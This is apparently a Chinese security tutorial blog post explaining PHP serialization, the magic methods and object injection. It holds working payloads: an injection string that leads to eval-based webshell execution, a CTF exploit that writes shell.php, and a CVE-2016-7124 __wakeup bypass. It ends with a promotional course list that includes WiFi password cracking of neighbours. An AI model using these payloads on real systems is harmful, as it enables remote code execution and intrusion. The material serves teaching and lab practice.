声明：以下内容仅供学习参考，切勿进行非授权的网络攻击行为。本文图片从本地文件加载上，需要完整Web方向文档可在社区或公众号索取。
1. 理解序列化和反序列化
要学习PHP反序列漏洞，先了解下PHP序列化和反序列化是什么东西。
为了有效的存储或传递数据，同时不丢失其类型和结构，经常需要序列化和反序列化的函数对数据进行处理。
数据（变量）序列化（持久化）
序列化就是一种用来处理对象流的机制，说通俗点就是把一个对象变成可以传输的字符串，但并不是类型转换，而是将改字符串存储在本地，相反就是反序列化。
主要作用：使得程序间传输对象会更加方便。
序列化：返回字符串，此字符串包含了表示Value的字节流，可以存储在任何地方。可以将对象转换成字符串，但仅保留对象里的成员变量，不保留函数方法。
反序列化：对单一的已序列化的变量进行操作，将其转换回原来的值。
这两个过程结合起来，可以轻松的存储和传输数据，使程序更具维护性，但是不安全的反序列化回导致代码执行。即使反序列化缺陷不会导致远程代码执行，攻击者也可以利用它们来执行攻击，包括重播攻击、注入攻击和特权升级攻击。
PHP序列化的函数为serialize。PHP反序列化的函数为unserialize。
1.1 序列化的意义
序列化和反序列化的概念
把对象转换为字节序列的过程称为对象的序列化。
把字节序列恢复为对象的过程称为对象的反序列化。
对象的序列化主要有两种用途：
1）把对象的字节序列永久地保存到硬盘上，通常存放在一个文件中；
2）在网络上传输对象的字节序列。
在很多应用中，需要对某些对象进行序列化，让它们离开内存空间，入住物理硬盘，以便长期保存。比如最常见的是Web服务器中的Session对此，当有10万用户并发访问，就可能出现10万个Session对象，内存可能吃不消，于是Web容器就会把这些Seesion先序列化到硬盘中，等要用了，再把保存在硬盘中的对象还原到内存中。
2. PHP反序列化
2.1 什么是序列化与反序列化
2.2 序列化的概念
将对象或者数组转化为可存储的字符串。
在PHP中使用serialize()函数来将对象或者数组进行序列化，并返回一个包含字节流的字符串来表示。
我们使用类的序列化比较多，所以这里就用一个序列化对象的例子来演示：
<?php
#创建一个类
class test{
public $a \= 'sdfsdfa';
protected $b \= 1111;
private $c \= false;
public function displayVar() {
echo $this\->a;
}
}
$d \= new test(); //实例化对象
$d \= serialize($d);//序列化对象
var\_dump($d);//输出序列化后的结果
?>
运行的结果：
string(73) "O:4:"test":3:{s:1:"a";s:7:"sdfsdfa";s:4:"\\000\*\\000b";i:1111;s:7:"\\000test\\000c";b:0;}"
我们从头开始分析各个部分的数组代表着什么：
O:4:“test”:3 O代表是对象类型，如果是a那就是数组类型;4是对象名称的长度，test是对象名称，3代表是有3个成员。
s:1:“a”;s:7:“sdfsdfa” 第一个s代表变量名称是字符串类型，a是变量名称；第二个s代表变量值是字符串类型，7是变量值得长度，后面是变量的值。
s:4:“\000*\000b”;i:1111 这里的字符串不应该是1吗？为什么是4呢，而且还多了一些字符。我们看到成员变量b的属性是protected；
protected属性序列化的时候格式是 %00%00成员名 ；*
一个%00代表一个字节，所以protected有两个%00，再加上*和变量名称长度一共是4个字节；
接下来的i代表变量数值是整数型。
s:7:“\000test\000c”;b:0 这里也出现了%00字符而且还多了类的名称，为什么呢？我们看到成员变量c的属性是private；
private属性序列化的时候格式是 %00类名%00成员名；
这里也是有两个%002个字节加上类名的4个字节和变量名一个字节，加起来就是7个字节；
下面的b代表着变量值是布尔型。
大家在这里有发现对象序列化后为什么方法没有跟着一起序列化呢？
因为serialize()函数只对类的属性序列化，不序列化方法。
反序列化的概念
将序列化后的字符串转换回对象或者数组。
在PHP中使用unserialize()函数来将序列化后的字符串转换回PHP的值，并返回的值可为 integer、float、string、array 或 object类型。
我们重新用上面的例子并把序列化的结果写入一个文本中存储：
<?php
class test{
public $a \= 'sdfsdfa';
protected $b \= 1111;
private $c \= false;
public function displayVar() {
echo $this\->a;
}
}
$d \= new test();
$d \= serialize($d);
file\_put\_contents('1.txt',$d);
?>
我们重新写一个文件，读取刚才存储的文本内容并对内容进行反序列化：
<?php
$d \= unserialize(file\_get\_contents('1.txt'));
print\_r($d);
echo $d\->a;
?>
大家觉得输出的结果是打印出类的对象和成员变量$a的值对吗？并不是：
\_\_PHP\_Incomplete\_Class Object
(
\[\_\_PHP\_Incomplete\_Class\_Name\] \=> test
\[a\] \=> sdfsdfa
\[b:protected\] \=> 1111
\[c:test:private\] \=>
)
在反序列化的时候要保证有该类存在，因为没有序列化方法，所以我们反序列化回来还要依靠该类的方法进行。
所以反序列化的写法如下：
<?php
class test{
public $a \= 'sdfsdfa';
protected $b \= 1111;
private $c \= false;
public function displayVar() {
echo $this\->a;
}
}
$d \= unserialize(file\_get\_contents('1.txt'));
print\_r($d);
echo $d\->a;
?>
最终输出的结果：
test Object
(
\[a\] \=> sdfsdfa
\[b:protected\] \=> 1111
\[c:test:private\] \=>
)
sdfsdfa
为什么要序列化对象成字符串呢？在开发中又起到什么作用？
序列化作用：方便传输、方便存储。
因为PHP文件执行后会把内存的数据进行销毁，如果下一个文件想用到刚刚销毁对象的属性和值就还要重新实例化new一次对象，所以才会将对象进行序列化然后存储，也避免重新实例化带来的耗费。开发中比较好举例就是session，PHP中如果使用php_serialize引擎，那么存储session文件将以序列化的方式存储在文件中，当我们要验证当前用户是否有权限进入该页面时就需要反序列化读取存储在服务器上面的session文件的值来判断。
反序列化漏洞的产生
为什么有反序列化的漏洞呢？之前反序列化还不是很火，直到PHP的伪协议phar://的反序列化开始。
用k0rz3n师傅解释很清晰了：
PHP 反序列化漏洞又叫做 PHP 对象注入漏洞，是因为程序对输入数据处理不当导致的. 反序列化漏洞的成因在于代码中的 unserialize() 接收的参数可控，从上面的例子看，这个函数的参数是一个序列化的对象，而序列化的对象只含有对象的属性，那我们就要利用对对象属性的篡改实现最终的攻击。
一句话讲晒就是：反序列化漏洞是由于unserialize函数接收到了恶意的序列化数据篡改成员属性后导致的。
小试牛刀
<?php
class index {
private $test;
public function \_\_construct()
{
$this\->test \= new normal();
}
public function \_\_destruct()
{
$this\->test\->action();
}
}
class normal {
public function action(){
echo "please attack me";
}
}
class evil {
var $test2;
public function action(){
eval($this\->test2);
}
}
unserialize($\_GET\['test'\]);
我们可以看到正常实例化后会执行normal类里面的action方法，但是unserialize函数是可控的，我们就可以对其进行攻击，思路就是改变index类里面test属性的值，让它实例化evil类，从而执行evil里面的action方法，同时我们也要修改evil类里面的test2属性的值。
<?php
class index {
private $test;
public function \_\_construct()
{
$this\->test \= new evil();
}
}
class evil {
var $test2 \= 'phpinfo();';
}
$a\= new index();
file\_put\_contents('serialize1.txt',serialize($a));
我们把修改过后序列化的提交给test参数：
O:5:"index":1:{s:11:"%00index%00test";O:4:"evil":1:{s:5:"test2";s:10:"phpinfo();";}}
将phpinfo();更改为eval($_POST[‘cmd’]);即可反弹webshell。
有人可能有疑问了，为什么这里就一句unserialize($_GET[‘test’])，没有实例化的语句，那是怎么执行了语句？
每一次的反序列化都会自动触发一些魔术方法，比如上面例子的**__destruct，执行反序列化会自动触发里面的方法。但construct就不能，为什么呢？因为序列化本身就是存储一个已经初始化的的对象的值了, 所以没必要去执行**construct,或者说序列化过程本身没有创建对象这一过程。
PHP魔术方法
PHP讲以双下划线__保留为魔术方法，所有的魔术方法 必须 声明为 public。
\_\_construct()，类的构造函数
\_\_destruct()，类的析构函数
\_\_call()，在对象中调用一个不可访问方法时调用
\_\_callStatic()，用静态方式中调用一个不可访问方法时调用
\_\_get()，获得一个类的成员变量时调用
\_\_set()，设置一个类的成员变量时调用
\_\_isset()，当对不可访问属性调用isset()或empty()时调用
\_\_unset()，当对不可访问属性调用unset()时被调用。
\_\_sleep()，执行serialize()时，先会调用这个函数
\_\_wakeup()，执行unserialize()时，先会调用这个函数
\_\_toString()，类被当成字符串时的回应方法
\_\_invoke()，调用函数的方式调用一个对象时的回应方法
\_\_set\_state()，调用var\_export()导出类时，此静态方法会被调用。
\_\_clone()，当对象复制完成时调用
\_\_autoload()，尝试加载未定义的类
\_\_debugInfo()，打印所需调试信息
__construct()
**__construct()**被称为构造方法，也就是在创造一个对象时候，首先会去执行的一个方法。但是在序列化和反序列化过程是不会触发的。
<?php
class User{
public $username;
public function \_\_construct($username)
{
$this\->username \= $username;
echo "\_\_construct test";
}
}
$test \= new User("F0rmat");
$ser \= serialize($test);
unserialize($ser);
?>
运行结果：
\_\_construct test
可以看到，创建对象的时候触发了一次，在后面的序列化和反序列化过程中都没有触发。
__destruct()
在到某个对象的所有引用都被删除或者当对象被显式销毁时执行的魔术方法。
<?php
class User{
public function \_\_destruct()
{
echo "\_\_destruct test</br>";
}
}
$test \= new User();
$ser \= serialize($test);
unserialize($ser);
?>
运行结果：
\_\_destruct test
\_\_destruct test
可以看到执行了两次**__destruct**，因为一个就是实例化的时候创建的对象，另一个就是反序列化后生成的对象。
__call
在对象中调用一个不可访问方法时，__call() 会被调用。也就是说你调用了一个对象中不存在的方法，就会触发。
<?php
class User{
public function \_\_call($arg1,$arg2)
{
echo "$arg1,$arg2\[0\]";
}
}
$test \= new User();
$test\->callxxx('a');
?>
运行结果：
callxxx,a
可以看到__call需要定义两个参数，一个是表示调用的函数名，一般开发会在这里报错写xxx不存在这个函数，第二个参数是传入的数组，这里只传入了一个a。
__callStatic
在静态上下文中调用一个不可访问方法时，__callStatic() 会被调用。
<?php
class User{
public static function \_\_callStatic($arg1,$arg2)
{
echo "$arg1,$arg2\[0\]";
}
}
$test \= new User();
$test::callxxx('a');
?>
运行结果：
callxxx,a
这里先来学习一下双冒号的用法，双冒号也叫做范围解析操作符（也可称作 Paamayim Nekudotayim）或者更简单地说是一对冒号，可以用于访问静态成员，类常量，还可以用于覆盖类中的属性和方法。自 PHP 5.3.0 起，可以通过变量来引用类，该变量的值不能是关键字（如 self，parent 和 static）。与**__call不同的是需要添加static**，只有访问不存在的静态方法才会触发。
__get
读取不可访问属性的值时，__get() 会被调用。
<?php
class User{
public $var1;
public function \_\_get($arg1)
{
echo $arg1;
}
}
$test \= new User();
$test\->var2;
?>
运行结果：
var2
__get魔术方法需要一个参数，这个参数代表着访问不存在的属性值。
__set
给不可访问属性赋值时，__set() 会被调用。
<?php
class User{
public $var1;
public function \_\_set($arg1,$arg2)
{
echo $arg1.','.$arg2;
}
}
$test \= new User();
$test\->var2\=1;
?>
运行结果：
var2,1
set跟get相反，一个是访问不存在的属性，一个是给不存在的属性赋值。
__isset
对不可访问属性调用 isset() 或 empty() 时，__isset() 会被调用。
<?php
class User{
private $var;
public function \_\_isset($arg1)
{
echo $arg1;
}
}
$test \= new User();
isset($test\->var1);
?>
运行结果：
var1
该魔术方法使用了isset()或者empty()只要属性是private或者不存在的都会触发。
__unset
对不可访问属性调用 unset() 时，__unset() 会被调用。
<?php
class User{
public function \_\_unset($arg1)
{
echo $arg1;
}
}
$test \= new User();
unset($test\->var1);
?>
运行结果：
var1
如果一个类定义了魔术方法 __unset() ，那么我们就可以使用 unset() 函数来销毁类的私有的属性，或在销毁一个不存在的属性时得到通知。
__sleep
serialize() 函数会检查类中是否存在一个魔术方法 __sleep()。如果存在，该方法会先被调用，然后才执行序列化操作。此功能可以用于清理对象，并返回一个包含对象中所有应被序列化的变量名称的数组。如果该方法未返回任何内容，则 NULL 被序列化，并产生一个 E_NOTICE 级别的错误。对象被序列化之前触发，返回需要被序列化存储的成员属性，删除不必要的属性。
<?php
class User{
const SITE \= 'uusama';
public $username;
public $nickname;
private $password;
public function \_\_construct($username, $nickname, $password)
{
$this\->username \= $username;
$this\->nickname \= $nickname;
$this\->password \= $password;
}
// 重载序列化调用的方法
public function \_\_sleep()
{
// 返回需要序列化的变量名，过滤掉password变量
return array('username', 'nickname');
}
}
$user \= new User('a', 'b', 'c');
echo serialize($user);
运行结果：
O:4:"User":2:{s:8:"username";s:1:"a";s:8:"nickname";s:1:"b";}
可以看到执行序列化之前会先执行sleep()函数，上面sleep的函数作用是过滤掉password的变量值。
__wakeup
unserialize() 会检查是否存在一个__wakeup()方法。如果存在，则会先调用 __wakeup() 方法，预先准备对象需要的资源。
预先准备对象资源，返回void，常用于反序列化操作中重新建立数据库连接或执行其他初始化操作。
<?php
class User{
const SITE \= 'uusama';
public $username;
public $nickname;
private $password;
private $order;
public function \_\_construct($username, $nickname, $password)
{
$this\->username \= $username;
$this\->nickname \= $nickname;
$this\->password \= $password;
}
// 定义反序列化后调用的方法
public function \_\_wakeup()
{
$this\->password \= $this\->username;
}
}
$user\_ser \= 'O:4:"User":2:{s:8:"username";s:1:"a";s:8:"nickname";s:1:"b";}';
var\_dump(unserialize($user\_ser));
运行结果：
class User#1 (4) {
public $username \=>
string(1) "a"
public $nickname \=>
string(1) "b"
private $password \=>
string(1) "a"
private $order \=>
NULL
}
可以看到执行反序列化之前会先执行wakeup()函数，上面wakeup的函数作用是将username的变量值赋值给password变量。
__toString
__toString() 方法用于一个类被当成字符串时应怎样回应。例如 echo $obj; 应该显示些什么。此方法必须返回一个字符串，否则将发出一条 E_RECOVERABLE_ERROR 级别的致命错误。
<?php
class User{
public function \_\_toString()
{
return '\_\_toString test';
}
}
$test \= new User();
echo $test;
运行结果：
\_\_toString
特别注意__toString的触发条件，引用k0rz3n师傅的笔记：
(1)echo (obj) / print(obj) 打印时会触发 (2)反序列化对象与字符串连接时 (3)反序列化对象参与格式化字符串时 (4)反序列化对象与字符串进行比较时（PHP进行比较的时候会转换参数类型） (5)反序列化对象参与格式化SQL语句，绑定参数时 (6)反序列化对象在经过php字符串函数，如 strlen()、addslashes()时 (7)在in_array()方法中，第一个参数是反序列化对象，第二个参数的数组中有toString返回的字符串的时候toString会被调用 (8)反序列化的对象作为 class_exists() 的参数的时候
__invoke
当尝试以调用函数的方式调用一个对象时，__invoke() 方法会被自动调用。(本特性只在 PHP 5.1.0 及以上版本有效。)
<?php
class User{
public function \_\_invoke()
{
echo '\_\_invoke test';
}
}
$test \= new User();
$test();
运行结果：
\_\_invoke test
__clone
当使用 clone 关键字拷贝完成一个对象后，新对象会自动调用定义的魔术方法 __clone() ，如果该魔术方法存在的话。
<?php
class User{
public function \_\_clone()
{
echo "\_\_clone test";
}
}
$test \= new User();
$newclass \= clone($test);
?>
运行结果：
\_\_clone test
练习
Hackthebox-Tenet
htb上面有一道题是反序列化漏洞的题目：
<?php
class DatabaseExport
{
public $user\_file \= 'users.txt';
public $data \= '';
public function update\_db()
{
echo '\[+\] Grabbing users from text file <br>';
$this\-> data \= 'Success';
}
public function \_\_destruct()
{
file\_put\_contents(\_\_DIR\_\_ . '/' . $this \->user\_file, $this\->data);
echo '\[\] Database updated <br>';
// echo 'Gotta get this working properly...';
}
}
$input \= $\_GET\['arepo'\] ?? '';
$databaseupdate \= unserialize($input);
$app \= new DatabaseExport;
$app \-> update\_db();
?>
这题比较简单哈，上面我们已经讲过了serialize只对属性进行序列化操作，所以我们只要对属性进行修改就行了：
<?php
class DatabaseExport
{
public $user\_file \= 'shell.php';
public $data \= "<?php phpinfo();?>";
}
$app \= new DatabaseExport;
echo urlencode(serialize($app));
?>
反序列化对象注入-CVE-2016-7124
- 漏洞影响版本：
PHP5 < 5.6.25
PHP7 < 7.0.10
- 漏洞产生原因：
如果存在wakeup方法，调用 unserilize() 方法前则先调用wakeup方法，但是序列化字符串中表示对象属性个数的值大于 真实的属性个数时会跳过__wakeup的执行
<?php
error\_reporting(0);
class Test{
public $key \= 'flag';
function \_\_destruct(){
if(!empty($this\->key)){
if($this\->key \== 'flag')
echo 'success';
}
}
function \_\_wakeup(){
$this\->key \= 'you failed 23333';
echo $this\->key;
}
public function \_\_toString(){
return '';
}
}
if(!isset($\_GET\['answer'\])){
show\_source('index.php');
}else{
$answer \= $\_GET\['answer'\];
echo $answer;
echo '<br>';
echo unserialize($answer);
}
?>
按道理我们只要让key=flag就行了，payload=O:4:“Test”:1:{s:3:“key”;s:4:“flag”;}
运行结果：
O:4:"Test":1:{s:3:"key";s:4:"flag";}
you failed 23333
这里发现已经被wakeup抢先执行了改变了key的值，让destruct里面的判断就不成立了。
用我们刚才说的漏洞成因对象属性个数的值大于 真实的属性个数时会跳过__wakeup的执行。
那我们只要改变一下属性的个数就行了：
O:4:"Test":2:{s:3:"key";s:4:"flag";}
运行结果：
O:4:"Test":2:{s:3:"key";s:4:"flag";}
success
黑客/网络安全学习路线
对于从来没有接触过黑客/网络安全的同学，目前网络安全、信息安全也是计算机大学生毕业薪资相对较高的学科。
大白也帮大家准备了详细的学习成长路线图。可以说是最科学最系统的学习路线，大家跟着这个大的方向学习准没问题。
这也是耗费了大白近四个月的时间，吐血整理，文章非常非常长，觉得有用的话，希望粉丝朋友帮忙点个**「分享」「收藏」「在看」「赞」**
网络安全/渗透测试法律法规必知必会****
今天大白就帮想学黑客/网络安全技术的朋友们入门必须先了解法律法律。
【网络安全零基础入门必知必会】什么是黑客、白客、红客、极客、脚本小子？（02）
【网络安全零基础入门必知必会】网络安全专业术语全面解析（05）
【网络安全入门必知必会】《中华人民共和国网络安全法》（06）
【网络安全零基础入门必知必会】《计算机信息系统安全保护条例》（07）
【网络安全零基础入门必知必会】《中国计算机信息网络国际联网管理暂行规定》（08）
【网络安全零基础入门必知必会】《计算机信息网络国际互联网安全保护管理办法》（09）
【网络安全零基础入门必知必会】《互联网信息服务管理办法》（10）
【网络安全零基础入门必知必会】《计算机信息系统安全专用产品检测和销售许可证管理办法》（11）
【网络安全零基础入门必知必会】《通信网络安全防护管理办法》（12）
【网络安全零基础入门必知必会】《中华人民共和国国家安全法》（13）
【网络安全零基础入门必知必会】《中华人民共和国数据安全法》（14）
【网络安全零基础入门必知必会】《中华人民共和国个人信息保护法》（15）
【网络安全零基础入门必知必会】《网络产品安全漏洞管理规定》（16）
网络安全/渗透测试linux入门必知必会
【网络安全零基础入门必知必会】什么是Linux？Linux系统的组成与版本？什么是命令（01）
【网络安全零基础入门必知必会】VMware下载安装，使用VMware新建虚拟机，远程管理工具（02）
【网络安全零基础入门必知必会】VMware常用操作指南（非常详细）零基础入门到精通，收藏这一篇就够了（03）
【网络安全零基础入门必知必会】CentOS7安装流程步骤教程（非常详细）零基入门到精通，收藏这一篇就够了（04）
【网络安全零基础入门必知必会】Linux系统目录结构详细介绍（05）
【网络安全零基础入门必知必会】Linux 命令大全（非常详细）零基础入门到精通，收藏这一篇就够了（06）
【网络安全零基础入门必知必会】linux安全加固（非常详细）零基础入门到精通，收藏这一篇就够了（07）
网络安全/渗透测试****计算机网络入门必知必会****
【网络安全零基础入门必知必会】TCP/IP协议深入解析（非常详细）零基础入门到精通，收藏这一篇就够了（01）
【网络安全零基础入门必知必会】什么是HTTP数据包&Http数据包分析（非常详细）零基础入门到精通，收藏这一篇就够了（02）
【网络安全零基础入门必知必会】计算机网络—子网划分、子网掩码和网关（非常详细）零基础入门到精通，收藏这一篇就够了（03）
网络安全/渗透测试入门之HTML入门必知必会
【网络安全零基础入门必知必会】什么是HTML&HTML基本结构&HTML基本使用（非常详细）零基础入门到精通，收藏这一篇就够了1
【网络安全零基础入门必知必会】VScode、PhpStorm的安装使用、Php的环境配置，零基础入门到精通，收藏这一篇就够了2
【网络安全零基础入门必知必会】HTML之编写登录和文件上传（非常详细）零基础入门到精通，收藏这一篇就够了3
网络安全/渗透测试入门之Javascript入门必知必会
【网络安全零基础入门必知必会】Javascript语法基础（非常详细）零基础入门到精通，收藏这一篇就够了（01）
【网络安全零基础入门必知必会】Javascript实现Post请求、Ajax请求、输出数据到页面、实现前进后退、文件上传（02）
网络安全/渗透测试入门之Shell入门必知必会
【网络安全零基础入门必知必会】Shell编程基础入门（非常详细）零基础入门到精通，收藏这一篇就够了（第七章）
网络安全/渗透测试入门之PHP入门必知必会
【网络安全零基础入门】PHP环境搭建、安装Apache、安装与配置MySQL（非常详细）零基础入门到精通，收藏这一篇就够（01）
【网络安全零基础入门】PHP基础语法（非常详细）零基础入门到精通，收藏这一篇就够了（02）
【网络安全零基础入门必知必会】PHP+Bootstrap实现表单校验功能、PHP+MYSQL实现简单的用户注册登录功能（03）
网络安全/渗透测试入门之MySQL入门必知必会
【网络安全零基础入门必知必会】MySQL数据库基础知识/安装（非常详细）零基础入门到精通，收藏这一篇就够了（01）
【网络安全零基础入门必知必会】SQL语言入门（非常详细）零基础入门到精通，收藏这一篇就够了（02）
【网络安全零基础入门必知必会】MySQL函数使用大全（非常详细）零基础入门到精通，收藏这一篇就够了（03）
【网络安全零基础入门必知必会】MySQL多表查询语法（非常详细）零基础入门到精通，收藏这一篇就够了（04）
****网络安全/渗透测试入门之Python入门必知必会
【网络安全零基础入门必知必会】之Python+Pycharm安装保姆级教程，Python环境配置使用指南，收藏这一篇就够了【1】
【网络安全零基础入门必知必会】之Python编程入门教程（非常详细）零基础入门到精通，收藏这一篇就够了（2）
python入门教程python开发基本流程控制if … else
python入门教程之python开发可变和不可变数据类型和hash
【网络安全零基础入门必知必会】之10个python爬虫入门实例(非常详细)零基础入门到精通，收藏这一篇就够了（3）
****网络安全/渗透测试入门之SQL注入入门必知必会
【网络安全渗透测试零基础入门必知必会】之初识SQL注入（非常详细）零基础入门到精通，收藏这一篇就够了（1）
【网络安全渗透测试零基础入门必知必会】之SQL手工注入基础语法&工具介绍（2）
【网络安全渗透测试零基础入门必知必会】之SQL注入实战（非常详细）零基础入门到精通，收藏这一篇就够了（3）
【网络安全渗透测试零基础入门必知必会】之SQLmap安装&实战（非常详细）零基础入门到精通，收藏这一篇就够了（4）
【网络安全渗透测试零基础入门必知必会】之SQL防御（非常详细）零基础入门到精通，收藏这一篇就够了（4）
****网络安全/渗透测试入门之XSS攻击入门必知必会
【网络安全渗透测试零基础入门必知必会】之XSS攻击基本概念和原理介绍（非常详细）零基础入门到精通，收藏这一篇就够了（1）
网络安全渗透测试零基础入门必知必会】之XSS攻击获取用户cookie和用户密码（实战演示）零基础入门到精通收藏这一篇就够了（2）
【网络安全渗透测试零基础入门必知必会】之XSS攻击获取键盘记录（实战演示）零基础入门到精通收藏这一篇就够了（3）
【网络安全渗透测试零基础入门必知必会】之xss-platform平台的入门搭建（非常详细）零基础入门到精通，收藏这一篇就够了4
【网络安全渗透测试入门】之XSS漏洞检测、利用和防御机制XSS游戏（非常详细）零基础入门到精通，收藏这一篇就够了5
****网络安全/渗透测试入门文件上传攻击与防御入门必知必会
【网络安全渗透测试零基础入门必知必会】之什么是文件包含漏洞&分类（非常详细）零基础入门到精通，收藏这一篇就够了1
【网络安全渗透测试零基础入门必知必会】之cve实际漏洞案例解析（非常详细）零基础入门到精通， 收藏这一篇就够了2
【网络安全渗透测试零基础入门必知必会】之PHP伪协议精讲(文件包含漏洞)零基础入门到精通，收藏这一篇就够了3
【网络安全渗透测试零基础入门必知必会】之如何搭建 DVWA 靶场保姆级教程（非常详细）零基础入门到精通，收藏这一篇就够了4
【网络安全渗透测试零基础入门必知必会】之Web漏洞-文件包含漏洞超详细全解（附实例）5
【网络安全渗透测试零基础入门必知必会】之文件上传漏洞修复方案6
****网络安全/渗透测试入门CSRF渗透与防御必知必会
【网络安全渗透测试零基础入门必知必会】之CSRF漏洞概述和原理（非常详细）零基础入门到精通， 收藏这一篇就够了1
【网络安全渗透测试零基础入门必知必会】之CSRF攻击的危害&分类（非常详细）零基础入门到精通， 收藏这一篇就够了2
【网络安全渗透测试零基础入门必知必会】之XSS与CSRF的区别（非常详细）零基础入门到精通， 收藏这一篇就够了3
【网络安全渗透测试零基础入门必知必会】之CSRF漏洞挖掘与自动化工具（非常详细）零基础入门到精通，收藏这一篇就够了4
【网络安全渗透测试零基础入门必知必会】之CSRF请求伪造&Referer同源&置空&配合XSS&Token值校验&复用删除5
****网络安全/渗透测试入门SSRF渗透与防御必知必会
【网络安全渗透测试零基础入门必知必会】之SSRF漏洞概述及原理（非常详细）零基础入门到精通，收藏这一篇就够了 1
【网络安全渗透测试零基础入门必知必会】之SSRF相关函数和协议（非常详细）零基础入门到精通，收藏这一篇就够了2
【网络安全渗透测试零基础入门必知必会】之SSRF漏洞原理攻击与防御（非常详细）零基础入门到精通，收藏这一篇就够了3**
**
****网络安全/渗透测试入门XXE渗透与防御必知必会
【网络安全渗透测试零基础入门必知必会】之XML外部实体注入（非常详细）零基础入门到精通，收藏这一篇就够了1
网络安全渗透测试零基础入门必知必会】之XXE的攻击与危害（非常详细）零基础入门到精通，收藏这一篇就够了2
【网络安全渗透测试零基础入门必知必会】之XXE漏洞漏洞及利用方法解析（非常详细）零基础入门到精通，收藏这一篇就够了3
【网络安全渗透测试零基础入门必知必会】之微信XXE安全漏洞处理（非常详细）零基础入门到精通，收藏这一篇就够了4
****网络安全/渗透测试入门远程代码执行渗透与防御必知必会
【网络安全渗透测试零基础入门必知必会】之远程代码执行原理介绍（非常详细）零基础入门到精通，收藏这一篇就够了1
【网络安全零基础入门必知必会】之CVE-2021-4034漏洞原理解析（非常详细）零基础入门到精通，收藏这一篇就够了2
【网络安全零基础入门必知必会】之PHP远程命令执行与代码执行原理利用与常见绕过总结3
【网络安全零基础入门必知必会】之WEB安全渗透测试-pikachu&DVWA靶场搭建教程，零基础入门到精通，收藏这一篇就够了4
****网络安全/渗透测试入门反序列化渗透与防御必知必会
【网络安全零基础入门必知必会】之什么是PHP对象反序列化操作（非常详细）零基础入门到精通，收藏这一篇就够了1
【网络安全零基础渗透测试入门必知必会】之php反序列化漏洞原理解析、如何防御此漏洞？如何利用此漏洞？2
【网络安全渗透测试零基础入门必知必会】之Java 反序列化漏洞（非常详细）零基础入门到精通，收藏这一篇就够了3
【网络安全渗透测试零基础入门必知必会】之Java反序列化漏洞及实例解析（非常详细）零基础入门到精通，收藏这一篇就够了4
【网络安全渗透测试零基础入门必知必会】之CTF题目解析Java代码审计中的反序列化漏洞，以及其他漏洞的组合利用5
网络安全/渗透测试**入门逻辑漏洞必知必会**
【网络安全渗透测试零基础入门必知必会】之一文带你0基础挖到逻辑漏洞（非常详细）零基础入门到精通，收藏这一篇就够了
网络安全/渗透测试入门暴力猜解与防御必知必会
【网络安全渗透测试零基础入门必知必会】之密码安全概述（非常详细）零基础入门到精通，收藏这一篇就够了1
【网络安全渗透测试零基础入门必知必会】之什么样的密码是不安全的？（非常详细）零基础入门到精通，收藏这一篇就够了2
【网络安全渗透测试零基础入门必知必会】之密码猜解思路（非常详细）零基础入门到精通，收藏这一篇就够了
【网络安全渗透测试零基础入门必知必会】之利用Python暴力破解邻居家WiFi密码、压缩包密码，收藏这一篇就够了4
【网络安全渗透测试零基础入门必知必会】之BurpSuite密码爆破实例演示，零基础入门到精通，收藏这一篇就够了5
【网络安全渗透测试零基础入门必知必会】之Hydra密码爆破工具使用教程图文教程，零基础入门到精通，收藏这一篇就够了
【网络安全渗透测试零基础入门必知必会】之暴力破解medusa，零基础入门到精通，收藏这一篇就够了7
【网络安全渗透测试零基础入门必知必会】之Metasploit抓取密码，零基础入门到精通，收藏这一篇就够了8
****网络安全/渗透测试入门掌握Redis未授权访问漏洞必知必会
【网络安全渗透测试零基础入门必知必会】之Redis未授权访问漏洞，零基础入门到精通，收藏这一篇就够了
【网络安全渗透测试零基础入门必知必会】之Redis服务器被攻击后该如何安全加固，零基础入门到精通，收藏这一篇就够了**
**
网络安全/渗透测试入门掌握**ARP渗透与防御关必知必会**
【网络安全渗透测试零基础入门必知必会】之ARP攻击原理解析，零基础入门到精通，收藏这一篇就够了
【网络安全渗透测试零基础入门必知必会】之ARP流量分析，零基础入门到精通，收藏这一篇就够了
【网络安全渗透测试零基础入门必知必会】之ARP防御策略与实践指南，零基础入门到精通，收藏这一篇就够了
网络安全/渗透测试入门掌握系统权限提升渗透与防御关****必知必会
【网络安全渗透测试零基础入门必知必会】之Windows提权常用命令，零基础入门到精通，收藏这一篇就够了
【网络安全渗透测试零基础入门必知必会】之Windows权限提升实战，零基础入门到精通，收藏这一篇就够了
【网络安全渗透测试零基础入门必知必会】之linux 提权（非常详细）零基础入门到精通，收藏这一篇就够了
网络安全/渗透测试入门掌握Dos与DDos渗透与防御相关****必知必会
【网络安全渗透测试零基础入门必知必会】之DoS与DDoS攻击原理（非常详细）零基础入门到精通，收藏这一篇就够了
【网络安全渗透测试零基础入门必知必会】之Syn-Flood攻击原理解析（非常详细）零基础入门到精通，收藏这一篇就够了
【网络安全渗透测试零基础入门必知必会】之IP源地址欺骗与dos攻击，零基础入门到精通，收藏这一篇就够了
【网络安全渗透测试零基础入门必知必会】之SNMP放大攻击原理及实战演示，零基础入门到精通，收藏这一篇就够了
【网络安全渗透测试零基础入门必知必会】之NTP放大攻击原理，零基础入门到精通，收藏这一篇就够了
【网络安全渗透测试零基础入门必知必会】之什么是CC攻击？CC攻击怎么防御？，零基础入门到精通，收藏这一篇就够了
【网络安全渗透测试零基础入门必知必会】之如何防御DDOS的攻击？零基础入门到精通，收藏这一篇就够了
网络安全/渗透测试入门掌握无线网络安全渗透与防御相关****必知必会
【网络安全渗透测试零基础入门必知必会】之Aircrack-ng详细使用安装教程，零基础入门到精通，收藏这一篇就够了
【网络安全渗透测试零基础入门必知必会】之aircrack-ng破解wifi密码(非常详细)零基础入门到精通，收藏这一篇就够了
【网络安全渗透测试零基础入门必知必会】之WEB渗透近源攻击，零基础入门到精通，收藏这一篇就够了
【网络安全渗透测试零基础入门必知必会】之无线渗透|Wi-Fi渗透思路，零基础入门到精通，收藏这一篇就够了
【网络安全渗透测试零基础入门必知必会】之渗透WEP新思路Hirte原理解析，零基础入门到精通，收藏这一篇就够了
【网络安全渗透测试零基础入门必知必会】之WPS的漏洞原理解析，零基础入门到精通，收藏这一篇就够了
网络安全/渗透测试入门掌握木马免杀问题与防御********必知必会
【网络安全渗透测试零基础入门必知必会】之Metasploit – 木马生成原理和方法，零基础入门到精通，收藏这篇就够了
【网络安全渗透测试零基础入门必知必会】之MSF使用教程永恒之蓝漏洞扫描与利用，收藏这一篇就够了
网络安全/渗透测试入门掌握Vulnhub靶场实战********必知必会
